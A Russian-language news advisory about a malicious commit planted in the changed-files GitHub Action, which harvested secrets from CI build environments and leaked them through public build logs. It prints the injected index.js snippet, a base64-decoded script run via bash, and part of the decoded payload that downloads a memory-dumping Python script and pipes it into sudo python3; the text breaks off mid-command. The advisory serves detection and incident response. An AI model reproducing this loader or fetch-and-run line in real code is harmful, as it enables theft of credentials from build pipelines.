Выявлена подстановка вредоносного изменения в репозиторий проекта changed-files, развивающего обработчик к системе GitHub Actions, позволяющей автоматически запускать сценарии сборки и тестирования кодовых баз при срабатывании определённых событий, таких как поступление push-запроса, создание релизов, открытие/закрытие issue и открытие/закрытие pull-запросов. Обработчик changed-files использовался в 23 тысячах репозиториях, применяющих GitHub Actions в инфраструктуре непрерывной интеграции, для отслеживания изменения файлов и каталогов.
В репозиторий changed-files было подставлено изменение 0e58ed8, добавляющее в файл index.js вредоносный код под предлогом переработки работы с файлами блокировок. При выполнении обработчика changed-files вредоносная вставка собирала присутствующие в сборочном окружении ключи доступа, пароли и прочие конфиденциальные данные. В качестве канала для передачи информации за пределы сборочного окружения использовался вывод записей в сборочный лог, который не в приватных репозиториях доступен публично.
Всем разработчикам, пользовавшимся changed-files, требуется незамедлительно провести аудит своей инфраструктуры и проверить публичные логи систем интеграции на базе GitHub Actions на предмет утечки конфиденциальных данных. В случае использования скомпрометированной версии рекомендуется поменять ключи и провести анализ возможной компрометации своих систем. В настоящее время GitHub уже заблокировал репозиторий changed-files, но до этого около 14 часов вредоносные обновления были доступны для загрузки. Понять наличие вредоносного изменения можно по упоминанию “bash” в файле index.js:
async function updateFeatures(token) { const {stdout, stderr} = await exec.getExecOutput(‘bash’, [‘-c’, ‘echo “aWYgW1sgIiRPU1…ApmaQo=” | base64 -d > /tmp/run.sh && bash /tmp/run.sh’], { ignoreReturnCode: true, silent: true }); core.info(stdout); }
В base64-последовательности содержался код: if [[ “$OSTYPE” == “linux-gnu” ]]; then B64_BLOB=’curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d ‘